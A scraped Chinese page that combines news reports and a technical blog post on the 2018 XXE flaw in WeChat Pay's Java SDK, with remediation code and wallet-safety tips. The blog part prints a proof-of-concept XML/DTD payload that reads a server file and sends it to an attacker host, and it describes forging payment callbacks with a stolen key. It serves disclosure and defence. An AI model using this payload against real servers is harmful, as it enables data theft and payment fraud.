微信支付被曝漏洞 腾讯怎么回事

微信支付被曝漏洞 黑客入侵0元就可以买任何东西_股城网
微信支付被曝漏洞 黑客入侵0元就可以买任何东西
发布:股城热点
不需要任何的费用,就可以通过微信支付购买任何商品,估计很多人都不相信吧!不过这样的事件确实发生了!近日,微信支付被曝漏洞,漏洞可侵入商家服务器,随后商家被成功入侵后,攻击者就可以0元购买该品台的任何产品。微信出现重大漏洞
有网友在国外安全社区公布了微信支付官方SDK存在的严重漏洞,此漏洞可侵入商家服务器,一旦攻击者获得商家的关键安全密钥,就可以通过发送伪造信息来欺骗商家而无需付费购买任何东西。
该网友还晒出了如何利用漏洞进行消费的截图,演示中使用的vivo和陌陌。利用这个漏洞,黑客可以购买商品,并有泄露用户信息的风险。
据悉,微信支付被曝漏洞后,微信支付技术安全团队对此非常关注,并且以最快的速度将漏铜填补,攻击者不再有机会得逞。微信漏洞经常出现,许多不法分子经常利用漏洞牟利,要是用户发现类似情况,可以举报或者更新微信,让自己免受攻击。微信支付被曝漏洞是真的吗?微信支付sdk漏洞是什么漏洞?怎么预防
微信支付被曝漏洞是真的吗?微信支付sdk漏洞是什么漏洞?怎么预防
&&今天看新闻,微信支付被曝漏洞,小编很震惊啊,赶快看看自己的微信零钱还有不,幸好3毛钱还是在的。那么,微信支付被曝漏洞是真的吗?微信支付sdk漏洞是什么漏洞?怎么预防?下面,2345小编为大家详细介绍一下微信支付被曝漏洞是怎么回事。&&微信支付被曝漏洞是什么情况&&又到月初了,你的花呗账单还清了吗?如果有人告诉你,现在不用你花一分钱,就能在某些电商平台随便买,你会相信吗?&&有用户在国外安全社区公布了微信支付官方SDK(软件工具开发包)存在的严重漏洞,此漏洞可导致商家服务器被入侵,一旦攻击者获得商家的关键安全密钥,就可以通过发送伪造信息来欺骗商家而无需付费购买任何东西。&&在使用微信支付时,商家需要提供通知网址以接受异步支付结果。问题是微信在JAVA版本SDK中的实现存在一个xxe漏洞。攻击者可以向通知URL构建恶意payload,根据需要窃取商家服务器的任何信息。&&该用户还晒出了如何利用漏洞进行买买买的截图,利用这个漏洞,黑客不仅可以 0 元购买,还有倒卖用户信息的可能。&&换句话说,黑客利用微信支付的这个漏洞,能实现0元买买买的情况。这并不是说说而已,这位网友还直接甩出了两张图,展示出漏洞利用的过程,中招者是vivo和陌陌。&&对此,微信支付方面未发布相关安全公告。腾讯方面在向媒体回应时表示,“微信支付技术安全团队已第一时间关注及排查,并于中午对官方网站上该SDK漏洞进行更新,修复了已知的安全漏洞,并在此提醒商户及时更新。请大家放心使用微信支付。”不要相信天上掉馅饼,买东西还是要花钱的,所以不要想着利用什么漏洞不会花钱买东西,不要做出违反法律的事情。&&值得注意的是,目前漏洞的详细信息以及攻击方式已被公开,安全人员建议使用JAVA语言SDK(软件开发工具包)开发微信支付功能的商户,快速检查并修复。(此处解释一下,微信官方发布了自己的微信支付开发包,许多开发人员选择使用官方最新版本,一般来讲,SDK是按照编程语言区分,如果网站使用的是同一种语言,那么其开发使用的也就是对应种语言。但也有特殊情况,就是不使用官方的开发包,而使用开源的或自行开发的,这样相对较少。)&&那么,微信支付的官方SDK究竟谁会用?范围多大?为什么黑客选择陌陌和vivo开刀?商家和用户会受到哪些影响?知道这个漏洞的黑客为什么不自己“闷声发大财”,而要选择将攻击方式公开?&&谁会用到微信支付的SDK&&文章开头提到,这个漏洞是关于微信支付的官方SDK的,那究竟谁会用到此类SDK呢?白帽汇安全总监“BaCde”?所有需要开通微信支付的商家都很有可能用到!&&比如,我们平时使用微信支付的时候,都会有一个付款的二维码,或者网购的时候,也有微信的支付渠道。这就需要商家与微信支付建立一个专属通道。以你去买面包为例,在你扫码的瞬间,微信支付和商家的对话是这样的:&&微信支付:你是哪家店?&&面包店:我是某某面包店,我的代号是***&&微信支付:订单是你生成的吗?&&面包店:是的。&&微信支付:我收到了50块,钱数对吗?&&面包店:对的。&&微信支付:对的话你们订单系统赶紧处理一下,人家付款成功了。&&面包店:好的,这就处理。&&这个过程叫“商户回调接口”,也就是说,所有的商户要想开通微信支付,不管是线上还是线下的,都需要通过与微信支付的这个接口来交流,这个接口有一套标准的定义,比如订单号、用户信息、价格等,最后有一个签名来保证双方交易的真实可靠。&&这时,微信官方为了方便商户,一般都会有一个官方的SDK,来使得各家商户更加顺畅和安全地接入微信支付,这时,这个SDK开发包就存在了这些商户的服务器上,与此同时,开发包的漏洞也就直接影响了商户服务器的安全性。&&如果有一天,黑客利用SDK上面的漏洞控制了商家的服务器,那么这些订单状态、用户信息和价格等就很有可能被黑客拿走并且进行篡改。据BaCde透露,由于微信官方的SDK有问题,目前所有使用基于微信支付JAVA?SDK开发的微信支付功能都可能受影响。&&那黑客为什么选择陌陌和vivo来开刀呢?听起来,这两家一个是手机厂商,一个是社交软件,和我们平时刷二维码或者网购的某某商家还是有区别。&&BaCde解释,vivo这个可能是vivo的在线商城,比如黑客可以用微信支付不花一分钱来买走在线商城的东西。而对于陌陌中招,则有可能是因为它可以通过微信支付进行会员充值,也有漏洞可以利用。所以,也许这名攻击者是经常用vivo手机的单身狗?&&如果商户、用户和黑客 你是一名商户,会有哪些影响?&&以在线商城的商户为例,如果你所应用的语言是JAVA(目前漏洞针对的是JAVA),接入微信支付功能的第一步,首先要在微信的官方网站找到JAVA语言的SDK开发包,当开发人员编写不规范而开发出有漏洞的微信支付功能,黑客发现后,就可通过窃取商户信息,进而伪造网络请求进行0元购买商品的操作,以及获取数据信息。&&这里要强调一下,虽然这里的开发人员是商户的开发人员,但其根本原因还是由于微信支付的SDK在某处存在安全问题,所以要解决漏洞,还得从官方的SDK来解决。&&如果我是普通的用户呢?&&最直接的影响就是,你在商家后台的用户信息已经被暴露了,而黑客拿到这些信息可以去暗网上兜售。紧接着,你成为了垃圾信息的受害者。&&而对于黑客来说,通过这个漏洞,不仅可以0元买买买,还可以通过倒卖用户信息小赚一笔。&&漏洞影响&&小编发现,目前,陌陌和vivo已经修复了相关的漏洞,但针对此漏洞,微信官方并未发布相关安全公告,也没有更新微信支付的SDK版本。也就是说,所有使用微信支付官方SDK的商户,并且语言是JAVA的,都还处于被攻击的危险之中。&&那既然微信官方都没修复,陌陌和vivo是怎么修复的?&&BaCde解释,陌陌和vivo本身有相应的安全能力,可以修改SDK的相应代码进行修复,自行解决。但如果是一些小的商户,就没有这个能力了。&&据悉,虽然目前该漏洞影响的是JAVA版本的SDK,但历史上已经出现过PHP版本的SDK存在同样的漏洞。据BaCde透露,这次的漏洞是XML外部实体注入漏洞,即当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。&&对于攻击者来说,这么好的赚钱机会,闷声发大财就好了,为什么要选择公开攻击方式?&&据白帽汇创始人赵武推测,直接公开这种级别的大杀器确实太不寻常,他这样做的原因,不排除是黑客在利用漏洞的过程中发现痕迹擦不干净,有可能被查出来,所以马上对外公布,让广大黑客群体发起攻击,以便淹没自己最初的攻击,达到隐藏自己的效果。&&值得注意的是,虽然这篇在国外网站上的披露文章是英文的,但是其技术人员用了中文的标点符号,很有可能是国内的技术人员冒充外国人发的攻击详情。&&腾讯已经知晓漏洞&&目前,小编发现,该漏洞在推特上也有安全人员提出来了,这位仁兄可能不太认识腾讯的安全小哥,直接@360来寻人,然后360把漏洞的链接发给了腾讯的人,认证为腾讯安全响应中心的人也在推特下面进行了回复,表示正在处理。&&如何预防微信支付漏洞&&现在已经是移动支付时代了,不记得有多长时间出门没有带钱包,但是天天用微信支付的你,虽然账户中没有一个亿,但对于穷人来说,丢个千儿八百的,也足够心痛得彻夜无眠,那么保证微信支付和转账安全,这些设置你都弄好了吗?&&一、安装数字证书&&1、保证微信支付安全,我的手机一定要设置锁屏密码和SIM卡的PIN密码,设置方法请关注小编查看往期文章。微信支付还要安装数字证书,其操作方法是:打开微信,依次点击“我”-“钱包”-“我的钱包”-点击右上角-“支付管理”。&&2、开启数字证书,然后按照屏幕提示操作。&&启用数字证书的好处是:-提高支付安全性,-提高每日零钱支付限额。微信被盗了在别的手机上也无法使用微信钱包支付。&&二、设置手势密码或指纹支付。&&打开手势密码,微信钱包多一重保护,就多一重安全保障。操作方法也是在“支付管理”中打开手势密码,再设置手势密码,设置好的手势密码自己可以记住哟!&&三、设置延时转账&&微信这个转账功能,估计很多朋友不知道,同样在“支付管理”中,点击“转账到账时间”,把“实时到账”更改为“2小时到账”或“24小时到账”,这样防止转账转错人,别人不肯退还,就可以向微信客户寻求帮助或者冻结账户,如果数额巨大当然是报警了。&&我们知道,付款码对于我们账号安全至关重要,所以,我们一定要保护好我们的付款码。既要保证不主动安全,不主动发送给对方;也要保证被动安全,对方想获得也无法获得,即使手机丢失了。零点在这里给大家介绍两招。&&第一招,开启钱包锁。打开微信,【我】——【钱包】,进入我的钱包,点击右上角,进入支付中心,如下图所示&&进入支付中心后,点击【支付安全】——【钱包锁】,即可开启相应的验证方式,如指纹解锁,手势密码解锁等。默认是关闭的。如下图&&开启钱包锁后,即使有一天我们的手机不小心丢失了,别人也无法打开我们的付款款,也就无法付款了。如果手机有指纹功能的话,小编建议还是指纹验证更安全一些,而且也方便。&&第二招,开启指纹支付。还是在刚才的支付中心页面,点击支付管理,进入支付管理界面,就可以开通指纹支付了。这样转账和消费的时候,就会需要指纹验证,又增加一道防线。&&在支付管理中,还有一个转账到账时间,可以设置实时到账,2小时到账,24小时到账等。对于金额巨大的转账,可以考虑设置一下,多增加一些考虑时间吧。延迟到账前,对方是收不到钱的。&&小编认为,只要手机做好这些安全防护措施,微信支付是足够安全的,可以放心去使用。不过,有些人,像小编这样,常年用六位数字的支付密码保护两位数的零钱,就没有必须这样煞费苦心了。专注IT开发,想分享一点心得,一起学习,共同进步!
谈谈微信支付曝出的漏洞
昨天()微信支付的SDK曝出重大漏洞(XXE漏洞),通过该漏洞,攻击者可以获取服务器中目录结构、文件内容,如代码、各种私钥等。获取这些信息以后,攻击者便可以为所欲为,其中就包括众多媒体所宣传的“0元也能买买买”。
漏洞报告地址;http://seclists.org/fulldisclosure/2018/Jul/3
二、漏洞原理
此次曝出的漏洞属于XXE漏洞,即XML外部实体注入(XML External Entity Injection)。
XML文档除了可以包含声明和元素以外,还可以包含文档类型定义(即DTD);如下图所示。
在DTD中,可以引进实体,在解析XML时,实体将会被替换成相应的引用内容。该实体可以由外部引入(支持http、ftp等协议,后文以http为例说明),如果通过该外部实体进行攻击,就是XXE攻击。
可以说,XXE漏洞之所以能够存在,本质上在于在解析XML的时候,可以与外部进行通信;当XML文档可以由攻击者任意构造时,攻击便成为可能。在利用XXE漏洞可以做的事情当中,最常见最容易实现的,便是读取服务器的信息,包括目录结构、文件内容等;本次微信支付爆出的漏洞便属于这一种。
微信支付漏洞
本次漏洞影响的范围是:在微信支付异步回调接口中,使用微信支付SDK进行XML解析的应用。注意这里的SDK是服务器端的SDK,APP端使用SDK并不受影响。
SDK下载地址如下(目前微信官方宣传漏洞已修复):https://pay.weixin.qq.com/wiki/doc/api/download/WxPayAPI_JAVA_v3.zip
SDK中导致漏洞的代码是WXPayUtil工具类中的xmlToMap()方法:
如上图所示,由于在解析XML时没有对外部实体的访问做任何限制,如果攻击者恶意构造xml请求,便可以对服务器进行攻击。下面通过实例介绍攻击的方法。
下面在本机环境下进行复现。
假设本地的web服务器127.0.0.1:8080中存在POST接口:/wxpay/callback,该接口中接收xml字符串做参数,并调用前述的WXPayUtil.xmlToMap(strXml)对xml参数进行解析。此外,/etc/password中存储了重要的密码数据(如password1234)。
攻击时构造的请求如下:
其中xml内容如下:
&?xml version="1.0" encoding="utf-8"?&
&!DOCTYPE root [
&!ENTITY % file SYSTEM "file:///etc/password"&
&!ENTITY % xxe SYSTEM "http://127.0.0.1:9000/xxe.dtd"&
其中/etc/password为要窃取的对象,http://127.0.0.1:9000/xxe.dtd为攻击者服务器中的dtd文件,内容如下:
&!ENTITY % shell "&!ENTITY % upload SYSTEM 'http://127.0.0.1:9000/evil/%'&"&
通过xml+dtd文件,攻击者便可以在服务器http://127.0.0.1:9000中收到如下请求:
http://127.0.0.1:9000/evil/password1234
这样,攻击者便得到了/etc/password文件的内容。
在本例中,攻击者窃取了/etc/password文件中的内容,实际上攻击者还可以获取服务器中的目录结构以及其他文件,只要启动web应用的用户具有相应的读权限。如果获取的信息比较复杂,如包含特殊符号,无法直接通过http的URL发送,则可以采用对文件内容进行Base64编码等方法解决。
三、漏洞的解决
解决该漏洞的原理非常简单,只要禁止解析XML时访问外部实体即可。
漏洞曝出以后,微信进行了紧急修复,一方面是更新了SDK,并提醒开发者使用最新的SDK;SDK中修复代码如下:
加入了如下两行代码:
documentBuilderFactory.setExpandEntityReferences(false);
documentBuilderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
更新:微信表示上述2条语句无法禁止该漏洞,又双叒叕更新了官方SDK,加了以下语句(对于微信的这波操作,不知如何评价):
documentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
documentBuilderFactory.setFeature("http://xml.org/sax/features/external-general-entities", false);
documentBuilderFactory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
documentBuilderFactory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
documentBuilderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
documentBuilderFactory.setXIncludeAware(false);
documentBuilderFactory.setExpandEntityReferences(false);
此外,微信官方也给出了关于XXE漏洞的最佳安全实践,可以参考:
笔者本人使用上述方案中建议的如下代码修复了该漏洞:
DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance();
documentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder();
四、扩展与反思
危害不只是“0元也能买买买”
在很多媒体的报道中,强调该漏洞的风险在于攻击者可以不支付也可以获得商品。确实,攻击者在通过上述漏洞获得微信支付的秘钥以后,有不止一种途径可以做到不支付就获得商品:例如,攻击者首先在系统中下单,获得商户订单号;然后便可以调用微信支付的异步回调,其中的签名参数便可以使用前面获取的秘钥对订单号等信息进行MD5获得;这样攻击者的异步回调就可以通过应用服务器的签名认证,从而获得商品。不过,在很多有一定规模的购物网站(或其他有支付功能的网站),会有对账系统,如定时将系统中的订单状态与微信、支付宝的后台对比,如果出现不一致可以及时报警并处理,因此该漏洞在这方面的影响可能并没有想象的那么大。
然而,除了“0元也能买买买”,攻击者可以做的事情还有很多很多;理论上来说,攻击者可能获得应用服务器上的目录结构、代码、数据、配置文件等,可以根据需要进行进一步破坏。
漏洞不限于微信支付SDK
虽然微信支付曝出该漏洞受到了广泛关注,但该漏洞绝不仅仅存在于微信支付中:由于众多XML解析器默认不会禁用对外部实体的访问,因此应用的接口如果有以下几个特点就很容易掉进XXE漏洞的坑里:
(1)接口使用xml做请求参数
(2)接口对外公开,或容易获得:例如一些接口提供给外部客户调用,或者接口使用http很容易抓包,或者接口比较容易猜到(如微信支付的异步回调接口)
(3)接口中解析xml参数时,没有禁用对外部实体的访问
建议大家最好检查一下自己的应用中是否有类似的漏洞,及时修复。
xml 与 json是系统间交互常用的两种数据格式,虽然很多情况下二者可以互换,但是笔者认为,json 作为更加轻量级更加纯粹的数据格式,更适合于系统间的交互;而xml,作为更加重量级更加复杂的数据格式,其 DTD 支持自定义文档类型,在更加复杂的配置场景下有着更好的效果,典型的场景如 spring 相关的配置。
题外话:微信支付的签名认证
在前面曾经提到,应用中存储的秘钥一旦泄露,攻击者便可以完全绕过签名认证,这是因为微信支付使用的是对称式的签名认证:微信方和应用方,使用相同的秘钥对相同的明文进行MD5签名,只要应用方的秘钥泄露,签名认证就完全成了摆设。
在这方面支付宝的做法更规范也更安全:支付宝为应用生成公私钥对,公钥由应用方保存,私钥由支付宝保存;在回调时,支付宝使用私钥进行签名,应用方使用公钥进行验证;这样只要支付宝保存的私钥不泄露,攻击者只有公钥则难以通过签名认证。
https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=23_5
https://www.cnblogs.com/tongwen/p/5194483.html
“JAVA架构进阶之路”公众号
致力于分享Java最前沿技术如高并发、分布式、微服务、JVM、高性能、源码分析、等行业最新资讯!
没有更多推荐了,微信支付被曝漏洞,赶紧看看怎么回事!微信支付被曝漏洞,赶紧看看怎么回事!黑色技术畅想百家号最近微信支付在网上被曝光了一些漏洞,被人直接买买买不用花钱,很多小伙伴对这个事情不是很清楚,大家都在问这个这个是怎么回事?有什么影响?小编就为大家详细的介绍下这个事情!7 月 3 日,国外安全社区 Seclists.Org 一名白帽子披露了微信支付官方 SDK 存在严重的 XXE 漏洞。该漏洞可导致商家服务器被入侵,黑客可避开真实支付通道,用虚假的支付通知来购买任意产品。陌陌、vivo 已经验证被该漏洞影响。(此漏洞可导致商家服务器被入侵,一旦攻击者获得商家的关键安全密钥,就可以通过发送伪造信息来欺骗商家而无需付费购买任何东西。)腾讯对媒体表示,微信支付技术安全团队已第一时间关注及排查 XXE 漏洞,并于 7 月 3 日中午对官方网站上的 SDK 漏洞进行更新,修复了已知的安全漏洞。并在此提醒商户及时更新。请大家放心使用微信支付。消息来源:新浪科技本文由百家号作者上传并发布,百家号仅提供信息发布平台。文章仅代表作者个人观点,不代表百度立场。未经作者许可,不得转载。黑色技术畅想百家号最近更新:简介:你带着文化旅游的趣闻!作者最新文章相关文章微信支付被曝漏洞 无需付费就可购买任何东西
微信支付被曝漏洞 无需付费就可购买任何东西&IT之家7月4日消息&近日有网友在国外安全社区公布了微信支付官方SDK存在的严重漏洞,此漏洞可侵入商家服务器,一旦攻击者获得商家的关键安全密钥,就可以通过发送伪造信息来欺骗商家而无需付费购买任何东西。
▲陌陌的微信支付漏洞利用过程
▲vivo的微信支付漏洞利用过程
该网友还晒出了如何利用漏洞进行消费的截图,演示中使用的vivo和陌陌。利用这个漏洞,黑客可以购买商品,并有泄露用户信息的风险。
目前,微信支付方面未发布相关安全公告。腾讯方面表示,微信支付技术安全团队已第一时间关注及排查,并于对官方网站上该SDK漏洞进行更新,修复了已知的安全漏洞,并在此提醒商户及时更新。
您可能也感兴趣:
官方微博/微信
每日头条、业界资讯、热点资讯、八卦爆料,全天跟踪微博播报。各种爆料、内幕、花边、资讯一网打尽。百万互联网粉丝互动参与,TechWeb官方微博期待您的关注。
↑扫描二维码
想在手机上看科技资讯和科技八卦吗?想第一时间看独家爆料和深度报道吗?请关注TechWeb官方微信公众帐号:1.用手机扫左侧二维码;2.在添加朋友里,搜索关注TechWeb。
Copyright (C)
All rights reserved. 京ICP证060517号/京ICP备号 京公网安备76号
TechWeb公众号
机情秀公众号}

我要回帖

更多关于 6微信支付被曝漏洞 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信